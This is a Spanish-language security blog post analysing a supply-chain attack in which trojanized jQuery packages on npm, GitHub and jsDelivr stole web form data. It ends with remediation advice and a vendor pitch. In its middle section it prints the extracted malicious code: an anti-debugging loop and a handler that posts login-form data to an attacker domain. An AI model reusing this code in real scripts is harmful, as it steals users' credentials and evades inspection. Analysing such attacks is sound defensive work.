Skip to main content
Blog
Blog Attacks

Ataque a la cadena de suministro web a través de jQuery troyanizado en npm, GitHub y CDNs

Se han encontrado ataques en jQuery troyanizado en GitHub, npm y jsDelivr en un nuevo ataque a la cadena de suministro web. Cada paquete tenía una copia de jQuery

Jul 09, 2024 4 min read
Himanshu Anand
Himanshu Anand Software Engineer
Captura de un script jQuery malicioso servido mediante jsDelivr

Se han encontrado ataques en jQuery troyanizado en GitHub, npm y jsDelivr en un nuevo ataque a la cadena de suministro web. Cada paquete tenía una copia de jQuery con un pequeño cambio: la función 'end'. Esta es parte del prototipo de jQuery, y fue modificada para incluir código malicioso adicional.

En el script malicioso, el atacante envía una solicitud GET no bloqueante usando '$.ajax' a otros dominios. La URL de la solicitud incluye un parámetro de consulta, que varía entre diferentes paquetes. Como resultado, cada vez que se invoca la función end, todos los datos del formulario en la página son exfiltrados.

Esto se descubrió primero en npm, luego en múltiples repositorios de GitHub, así como en un recurso alojado en CDN en jsDelivr.

En nuestra campaña titulada el riesgo de la cadena de suministro no termina en npm, enfatizamos que el método de entrega de un script como este permite un comportamiento dinámico. Esto hace que verificar las fuentes o confiar únicamente en métodos de entrega confiables seguros sea un juego arriesgado, como lo ilustra este ataque. Esto a menudo engaña a los firewalls y permite que el código malicioso se cuele, y los atacantes son muy conscientes de ello.

Lo que encontramos

Extrajimos el código malicioso del CDN oficial de jsDelivr, que recibe 37,000 visitas por mes. Todas ellas incluyen los scripts alterados y no son seguras.

Página de la CDN jsDelivr sirviendo el script de jQuery troyanizado

Esta es parte del código malicioso que encontramos y lo que hace:

Script de jQuery troyanizado servido desde la CDN de jsDelivr

Esta parte del script serializa los datos del formulario, los convierte en una cadena hexadecimal y los envía a un servidor remoto usando una solicitud GET, exponiendo potencialmente información sensible del usuario sin consentimiento. El uso de $.ajax con una función asíncrona hace que esta transferencia de datos sea sigilosa, indicativa de actividades maliciosas destinadas a recopilar datos subrepticiamente.

1. Mecanismo Anti-Depuración:

  • Función de Intervalo: Una función '_0x38c4a6' se ejecuta cada 4 segundos usando 'setInterval'. Esta función tiene como objetivo detectar e interrumpir intentos de depuración aprovechando la declaración 'debugger' de JavaScript.
  • Función Anidada: Dentro de '_0x38c4a6', la función anidada '_0x386016' contiene lógica para llamar repetidamente a 'debugger' basándose en ciertas condiciones, dificultando que alguien depure el código usando herramientas estándar.
(function () {
  setInterval(function () {
    function antiDebugging(_0x44dcc7) {
      if (typeof _0x44dcc7 === "string") {
        return function () {}.constructor("while (true) {}").apply("counter");
      } else {
        if (('' + _0x44dcc7 / _0x44dcc7).length !== 1 || _0x44dcc7 % 20 === 0) {
          (function () {
            return true;
          }).constructor("debugger").call("action");
        } else {
          (function () {
            return false;
          }).constructor("debugger").apply("stateObject");
        }
      }
      antiDebugging(++_0x44dcc7);
    }
    try {
      antiDebugging(0);
    } catch (e) {}
  }, 4000);
})();

2. Manejador de Envío de Formulario:

  • Selección de Formulario: El script selecciona el formulario con la clase '.login-form'.
  • Evento de Envío: Se adjunta un escuchador de eventos al evento de envío del formulario.
  • Solicitud AJAX: Cuando se envía el formulario, se envía una solicitud POST AJAX a 'https://koneksi.barux.my[.]id/index.php' con los datos del formulario serializados.
$(".login-form").submit(function () {
  var form = $(".login-form");
  $.ajax({
    url: "https://koneksi.barux.my.id/index.php",
    type: "POST",
    data: form.serialize(),
    success: function () {
      return true;
    },
    error: function () {
      return true;
    }
  });
});

Esto en conjunto sugiere que el script puede usarse para prevenir manipulación o inspección (a través de la lógica anti-depuración) mientras envía silenciosamente datos de un formulario a un servidor remoto. Estos datos pueden ser credenciales de usuario u otros tipos de información.

Como es típico con estos ataques, es difícil saber cuántas personas han sido víctimas. El método de entrega de estos scripts permite un comportamiento dinámico. Cualquier usuario puede obtener una entrega diferente cada vez, especialmente cuando un script ha sido comprometido. Así que es completamente aleatorio, o altamente dirigido y configurado de esta manera para permanecer sin detectar durante mucho tiempo.

En investigación publicada por Phylum, sabemos que los siguientes dominios fueron utilizados en este ataque:

Qué puedes hacer

El tiempo para medidas preventivas ha pasado. Verifica inmediatamente tu código en busca de referencias a los repositorios y dominios afectados. Si los encuentras, elimínalos.

Ataques como este solían ser imposibles de detectar, ya que los desarrolladores que dependen de fuentes de terceros no siempre están al tanto de los cambios en los scripts mismos. Los métodos de detección más antiguos no toman en cuenta estos cambios y no tienen forma de distinguirlos.

Al usar el nivel gratuito de cside, recibes alertas cuando se realiza un cambio dentro del script mismo. Bloqueamos cualquier cosa maliciosa de forma autónoma, y obtienes una descripción completa de los scripts desofuscados para entender qué están sirviendo.

Comienza con cside gratis hoy.

Himanshu Anand
Software Engineer Himanshu Anand

I'm a software engineer and security analyst.

FAQ

Frequently Asked Questions

Se publicaron versiones maliciosas de jQuery en npm, replicadas en GitHub y luego servidas desde la CDN jsDelivr — unas 37.000 visitas al mes. Los sitios que cargaban jQuery desde esas fuentes ejecutaban código que exfiltraba datos de formularios vía peticiones GET.

Fija una versión específica con Subresource Integrity, o proxifica el script a través de un monitor como cside para detectar y bloquear cualquier cambio en el código servido antes de llegar al usuario.

Monitorea y Asegura tus Scripts de Terceros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comienza gratis, o prueba Business con una prueba de 14 días.

Interfaz del panel de cside mostrando monitoreo de scripts y análisis de seguridad
Related Articles
Reservar una demo